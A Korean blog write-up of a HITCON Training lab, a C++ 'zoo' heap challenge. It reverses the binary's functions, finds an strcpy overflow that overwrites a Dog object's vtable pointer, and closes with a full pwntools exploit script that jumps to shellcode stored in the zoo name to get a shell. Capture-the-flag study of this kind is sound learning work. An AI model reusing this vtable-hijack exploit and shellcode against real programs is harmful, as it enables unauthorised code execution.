1. 문제
1) mitigation 확인
카나리 뺴고 안걸려있다. RWX 영역이 있으니, 쉘코드를 삽입하는 문제로 의심된다
2) 문제 확인
동물원을 만드는 문제이다. 강아지와 고양이를 추가할 수 있고, 동물의 울음소리, 정보를 알수 있다. 딱 봐도 힙 문제인듯 싶다
3) 코드흐름 파악
이번 문제는 C++ 바이너리이다.
- main()
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rax int v4; // [rsp+4h] [rbp-Ch] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :"); read(0, &nameofzoo, 0x64uLL); while ( 1 ) { menu(); std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :"); std::istream::operator>>(&edata, &v4); std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>); switch ( v4 ) { case 1: adddog(); break; case 2: addcat(); break; case 3: listen(); break; case 4: showinfo(); break; case 5: remove(); break; case 6: _exit(0); return; default: v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); break; } } }
- 제일 먼저 nameofzoo에 0x64 입력을 받는다. 이는 bss영역에 존재한다
- 그다음 v4에 입력을 받고 알맞은 메뉴가 실행된다
- adddog()함수
unsigned __int64 adddog(void) { __int64 v0; // rbx int v2; // [rsp+Ch] [rbp-74h] __int64 v3; // [rsp+10h] [rbp-70h] __int64 v4; // [rsp+18h] [rbp-68h] char v5; // [rsp+20h] [rbp-60h] char v6; // [rsp+40h] [rbp-40h] unsigned __int64 v7; // [rsp+68h] [rbp-18h] v7 = __readfsqword(0x28u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5); std::operator<<<std::char_traits<char>>(&std::cout, "Name : "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5); std::operator<<<std::char_traits<char>>(&std::cout, "Weight : "); std::istream::operator>>(&edata, &v2); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5); v0 = operator new(0x28uLL); Dog::Dog(v0, (__int64)&v6, v2); v4 = v0; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6); v3 = v4; std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5); return __readfsqword(0x28u) ^ v7; }
- 우선 이름을 v5변수에 저장한다. 그리고 Weight는 v2에 저장한다
- 그다음 basic_string을 이용하여 v5를 C style string? 으로 변환해준다음, 이를 v6변수에 넣는다
- new 를 통해 0x28사이즈 객체를 하나 선언한다
- v0, 이름,몸무게 총 3개의 인자를 가지고 Dog 객체를 하나 만든다
v0 = operator new(0x28uLL); Dog::Dog(v0, (__int64)&v6, v2); =========================================== Dog *mydog = new Dog(name,weight); 요 의미이다
- 그리고 animallist vector에 Dog 객체를 가리키는 포인터를 push_back을 이용해 넣어준다
- 그럼 Dog 클래스가 어떻게 되있는지 살펴보자
2.1 Dog class
- 기드라로 해당 바이너리를 확인한 결과이다. 왼쪽 Symbol Tree를 보면 해당 바이너리에서 생성된 클래스들을 확인 가능하다. Dog Class에는 3개의 함수가 존재한다.
- Dog Class를 보면 Animal 생성자가 먼저 호출되는 것을 볼 수 있다. 따라서 Dog는 Animal class을 상속받기 때문에 Dog 객체를 생성하면, Animal 의 생성자가 호출되는것을 알 수 있다
- 그다음 Dog의 생성자에서 strcpy를 이용해 이름을 this+8에 복사하고, 몸무게를 this+0x20에 넣는다
- 그리고 this에 0x403140을 넣는데, 이는 speak함수 포인터이다. info 함수포인터는 0x403148위치에 존재한다. info함수포인터에 대한 코드가 여기서 없는걸로 봐서 info함수는 speak 함수포인터기준+8로 하여 호출되는 것으로 예상된다
3. remove() 함수
/* WARNING: Unknown calling convention yet parameter storage is locked */
/* remove() */
void remove(void)
{
__normal_iterator _Var1;
long lVar2;
basic_ostream *this;
ulong uVar3;
void **ppvVar4;
ulong uVar5;
long in_FS_OFFSET;
uint local_2c;
undefined8 local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
lVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
if (lVar2 == 0) {
this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!");
operator<<((basic_ostream<char,std--char_traits<char>> *)this,
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
else {
operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : ");
operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_2c);
uVar5 = (ulong)local_2c;
uVar3 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
if (uVar5 < uVar3) {
ppvVar4 = (void **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist,
(ulong)local_2c);
operator.delete(*ppvVar4);
local_28 = begin((vector<Animal*,std--allocator<Animal*>> *)animallist);
_Var1 =operator+((__normal_iterator<Animal**,std--vector<Animal*,std--allocator<Animal*>>> *)
&local_28,(ulong)local_2c);
erase((vector<Animal*,std--allocator<Animal*>> *)animallist,_Var1);
}
else {
this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !");
operator<<((basic_ostream<char,std--char_traits<char>> *)this,
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
- 삭제하려는 인덱스를 입력하고 namelist에 들어있는 객체 포인터를 delete 연산을 한다
- 그다음 erase를 호출하여 벡터에서 해당 값을 삭제한다
4. listen() 함수
/* WARNING: Unknown calling convention yet parameter storage is locked */
/* listen() */
void listen(void)
{
long lVar1;
basic_ostream *this;
ulong uVar2;
code **ppcVar3;
ulong uVar4;
long in_FS_OFFSET;
uint local_24;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
lVar1 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
if (lVar1 == 0) {
this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!");
operator<<((basic_ostream<char,std--char_traits<char>> *)this,
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
else {
operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : ");
operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_24);
uVar4 = (ulong)local_24;
uVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
if (uVar4 < uVar2) {
ppcVar3 = (code **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist,
(ulong)local_24);
(***(code ***)*ppcVar3)(*ppcVar3);
}
else {
this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !");
operator<<((basic_ostream<char,std--char_traits<char>> *)this,
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
}
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
- 원하는 인덱스를 선택한다
- local_24에 인덱스가 담기는데 animalist의 배열인덱스를 참조하여 speak함수를 호출한다.
- 디버깅 결과 해당 speak함수는 다음의 순서로 호출된다
animalist[i]에 담긴 값 -> vtable주소 -> vtable안에서 speak함수 포인터 -> speak함수호출
2. 접근방법
분석은 요정도로 끝맞췄다. 우선 strcpy함수로 인하여 bof가 발생가능하다. addDog() 함수를 한번 호출할때 마다, Dog객체를 new 연산을 통해 힙에 할당이 되는데, 마지막에 벡터에 추가하는 것도 힙 영역을 사용한다 따라서
한번 addDog함수가 호출될때마다 저렇게 힙이 구성된다. 0x30은 new연산을 통해 생성된 청크이고, 0x21사이즈 부분은 벡터에 넣을때 사용되는 청크로 확인된다. 여기서 listen함수를 호출하면, animalist[0]에 담겨져 있는 0x617c20을 참조한다
그다음 0x617c20에 담긴 0x403140을 참고하고,
0x403140에 담긴 0x401b0a를 참조한다. 그리고 마지막으로 저기에 담긴 speak함수가 호출되는 식으로 흘러간다.
그럼 아래 사진을 다시보자
strcpy를 통해 입력한 이름이 new 로 생성된 mem +8에 들어간다. 만약 bof를 일으켜 아래의 0x403140을 다른 값으로 덮어버리고 해당 영역을 쉘코드로 덮으면 쉘이 떨어질 것이다.
하나 알아둬야할 점은, strcpy함수가 호출된 후에 그다음 0x21 청크(vector 수행)이 생성되므로, 2번의 addDog함수를 호출하고, 인덱스0 을 제거한다음, 다시 addDog을 통해 strcpy로 bof을 일으켜야 한다.
먼저 bof를 일으킨다면, 어짜피 0x21 청크가 생성되면서 그 값이 정상값(0x403140)으로 덮히기 때문에 의미가 없다.
3. 풀이
시나리오는 다음과 같다
- addDog() 함수 두번 호출하기
- remove(0)
- addDog()함수 호출하여 vtable주소 덮기
위 사진은 addDog() 2번, remove() 한번, 그다음 addDog()이 호출되어 strcpy가 호출되기 직전 상황이다. 왠지는 모르겠지만, 0번 인덱스의 listen을 호출하게 되면, animalst[0]에서 인덱스 1번의 vtable을 접근해서 확인한다.
뭐 어쨋든.. 따라서 우리는 strcpy를 통해 0x9e0c68까지 더미값을 채우고 그다음 쉘코드가 담긴 주소를 넣으면 된다.
우리가 첨에 zoo 이름을 0x64만큼 입력할수 있었는데, 여기에 쉘코드를 넣으면 된다. 하지만 nameofzoo 이 주소의 하위 바이트는 0x20이기 때문에 cin operator에서 입력의 끝으로 판단하여 복사가 더이상 안일어난다.
따라서 nameofzoo(0x605420) + 8을 주면 된다.
nameofzoo+8 주소가 잘 들어간것을 확인할 수있다.
아까도 말했듯이, speak함수는 이중 포인터로 담겨져있는 공간을 참조하기 떄문에 다음과 같이 nameofzoo 변수에 쉘코드를 넣어줘야한다
nameofzoo = "A"*8
nameofzoo += nameofzoo + 0x10 #animalist에서 nameofzoo+8을 참조함(여기!!)
nameofzoo += nameofzoo + 0x18 #여기가 가리키는 값은 nameofzoo+0x18임 그곳이 가리키는 곳이
nameofzoo += shellcode # 바로 여기임.
최종 익스코드는 다음과 같다
from pwn import *
context(os="linux",log_level="DEBUG")
p=process("./zoo")
#gdb.attach(p,'code\nb *0xAF8+$code\n')
gdb.attach(p)
def dog(name,weight):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Name : ",name)
p.sendlineafter("Weight : ",str(weight))
def remove(index):
p.sendlineafter("Your choice :","5")
p.sendlineafter("animal : ",str(index))
def listen(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("animal : ",str(index))
namezoo=0x605420
shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\$
zoo="A"*8+p64(namezoo+0x10)+p64(namezoo+0x18)+shellcode
p.sendlineafter("Name of Your zoo :",zoo)
dog("A",1)
dog("B",1)
remove(0)
namezoo=0x605420
payload="A"*0x48+p64(namezoo+8)
dog(payload,1)
listen(0)
p.interactive()
4. 몰랐던 개념
- c++은 cin에서 0x20을 입력의 끝으로 판단함. 따라서 strcpy 호출시 0x20을 만나면 끊김
- C++ basic_string → 이건 아직도 잘 모르겠..
- vtable
- push_back 호출시 새로운 vector 객체를 할당(힙 영역)하고 복사해줌
- 참고자료1
- 참고자료 2
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 14 (0) | 2020.04.23 |
---|---|
[Hicon training] LAB 13 (0) | 2020.04.23 |
[Hicon training] LAB 12 (0) | 2020.04.21 |
[Hicon training] LAB 11 (0) | 2020.04.20 |
[Hicon training] LAB 10 (0) | 2020.04.16 |